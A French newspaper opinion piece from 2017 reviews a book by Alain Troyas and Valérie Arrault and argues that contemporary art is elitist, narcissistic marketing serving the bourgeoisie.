La Gazette de la grande ile

L’art contemporain: Esthétiquement correct ?

Publié le 23 novembre 2017

Les expositions d’art contemporain restent incompréhensibles pour les non-initiés. Mais cet élitisme bourgeois masque en réalité la vacuité d’un art creux sous emballage marketing. L’art contemporain peut susciter le scepticisme d’un public non averti. Toute forme d’objet peut devenir artistique si le monde de l’art nous le présente comme tel. La créativité n’exprime plus rien et l’art contemporain semble se contenter d’un nombrilisme superficiel. Deux universitaires, Alain Troyas et Valérie Arrault, analysent ce phénomène dans le livre Du narcissisme de l’art contemporain. « Et souvent, n’importe quoi se fait avec pas grand-chose et même presque rien et il arrive que ce soit rien du tout, et même avec moins que rien », ironisent Alain Troyas et Valérie Arrault. Le monde de l’art se veut tolérant et refuse toute forme de critères de jugement, ni même la moindre critique. Le modèle fordiste, paternaliste et autoritaire, est remplacé. Après la contestation des années 1968, Eve Chiapello et Luc Boltanski observent l’émergence d’un Nouvel esprit du capitalisme. Une société ouverte, flexible, mobile et permissive est valorisée. L’art se conforme à cette évolution du capitalisme. N’importe quel objet ennuyeux ou insipide peut être présenté comme artistique à travers la rhétorique du marketing culturel à coups de textes, de théories et de publicité. Le livre d’Alain Troyas et Valérie Arrault permet de décortiquer l’imposture de l’art contemporain. Le culte de la subjectivité permet de masquer le vide de cette culture avant tout destinée à la bourgeoisie. La découverte de galeries d’art laisse très souvent un goût amer. C’est l’entre soi culturel qui s’admire lui-même. C’est un petit monde avec ses propres codes indéchiffrables pour le commun des mortels, un élitisme auto-centrée et superficiel. Mais Alain Troyas et Valérie Arrault tente de se démarquer de la critique réactionnaire de l’art contemporain. Pour cela, la critique s’attache à restituer le contexte historique du capitalisme libéral. Mais les universitaires s’attachent davantage à des élucubrations freudiennes plutôt qu’à développer une analyse de classe. L’art contemporain demeure un important marché et que ses produits restent avant tout destinés à la bourgeoisie cultivée…

Recueillis par Malalanirina

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